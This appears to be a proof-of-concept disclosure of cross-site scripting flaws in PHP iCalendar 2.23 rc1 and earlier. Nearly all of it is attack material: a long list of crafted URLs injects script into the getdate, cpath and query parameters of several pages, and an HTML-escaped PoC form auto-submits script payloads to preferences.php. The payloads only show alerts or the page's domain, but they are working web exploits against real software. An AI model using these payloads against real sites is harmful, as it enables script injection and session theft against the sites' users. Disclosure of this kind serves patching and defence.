http://www.example.com/phpicalendar/day.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://www.example.com/phpicalendar/month.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://www.example.com/phpicalendar/year.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://www.example.com/phpicalendar/week.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://www.example.com/phpicalendar/day.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://www.example.com/phpicalendar/month.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://www.example.com/phpicalendar/year.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://www.example.com/phpicalendar/week.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15 http://www.example.com/phpicalendar/search.php?cpath="><script>alert()</script>&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12 http://www.example.com/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"><script>alert()</script> http://www.example.com/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day http://www.example.com/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E &lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt; &lt;title&gt;PHP icalendar XSS in preferences.php PoC&lt;/title&gt; &lt;p&gt;&lt;a href=&quot;http://phpicalendar.net/&quot; target=&quot;_BLANK&quot;&gt;PHP icalendar&lt;/a&gt; &lt;= 2.23 rc1 preferences.php XSS Proof Of concept By &lt;a href=&quot;http://Lostmon.blogspot.com&quot; target=&quot;_BLANK&quot;&gt;Lostmon&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Modify the target host , by default http://localhost/&lt;/P&gt; &lt;br /&gt;&lt;br /&gt;&lt;form method=&#039;post&#039; action=&#039;http://localhost/phpicalendar/preferences.php?action=setcookie&#039;&gt; cookie_language: &lt;input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_calendar: &lt;input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cpath: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_view: &lt;input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_time: &lt;input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_startday: &lt;input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_style: &lt;input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; unset: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; set: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; &lt;input type=&#039;submit&#039; value=&#039;submit&#039; /&gt;&lt;br&gt; &lt;/form&gt;&lt;hr /&gt; &lt;textarea style=&#039;width: 80%; height: 50%;&#039;&gt; &lt;form method=&#039;post&#039; action=&#039;http://localhost/phpicalendar/preferences.php?action=setcookie&#039;&gt; cookie_language: &lt;input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_calendar: &lt;input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cpath: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_view: &lt;input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_time: &lt;input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_startday: &lt;input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; cookie_style: &lt;input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; unset: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; set: &lt;input input=&#039;text&#039; value=&#039;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /&gt;&lt;br&gt; &lt;input type=&#039;submit&#039; value=&#039;submit&#039; /&gt;&lt;br&gt; &lt;/form&gt; &amp;lt;script&amp;gt; document.forms[0].submit() &amp;lt;/script&amp;gt; &lt;/textarea&gt; &lt;/body&gt; &lt;/html&gt;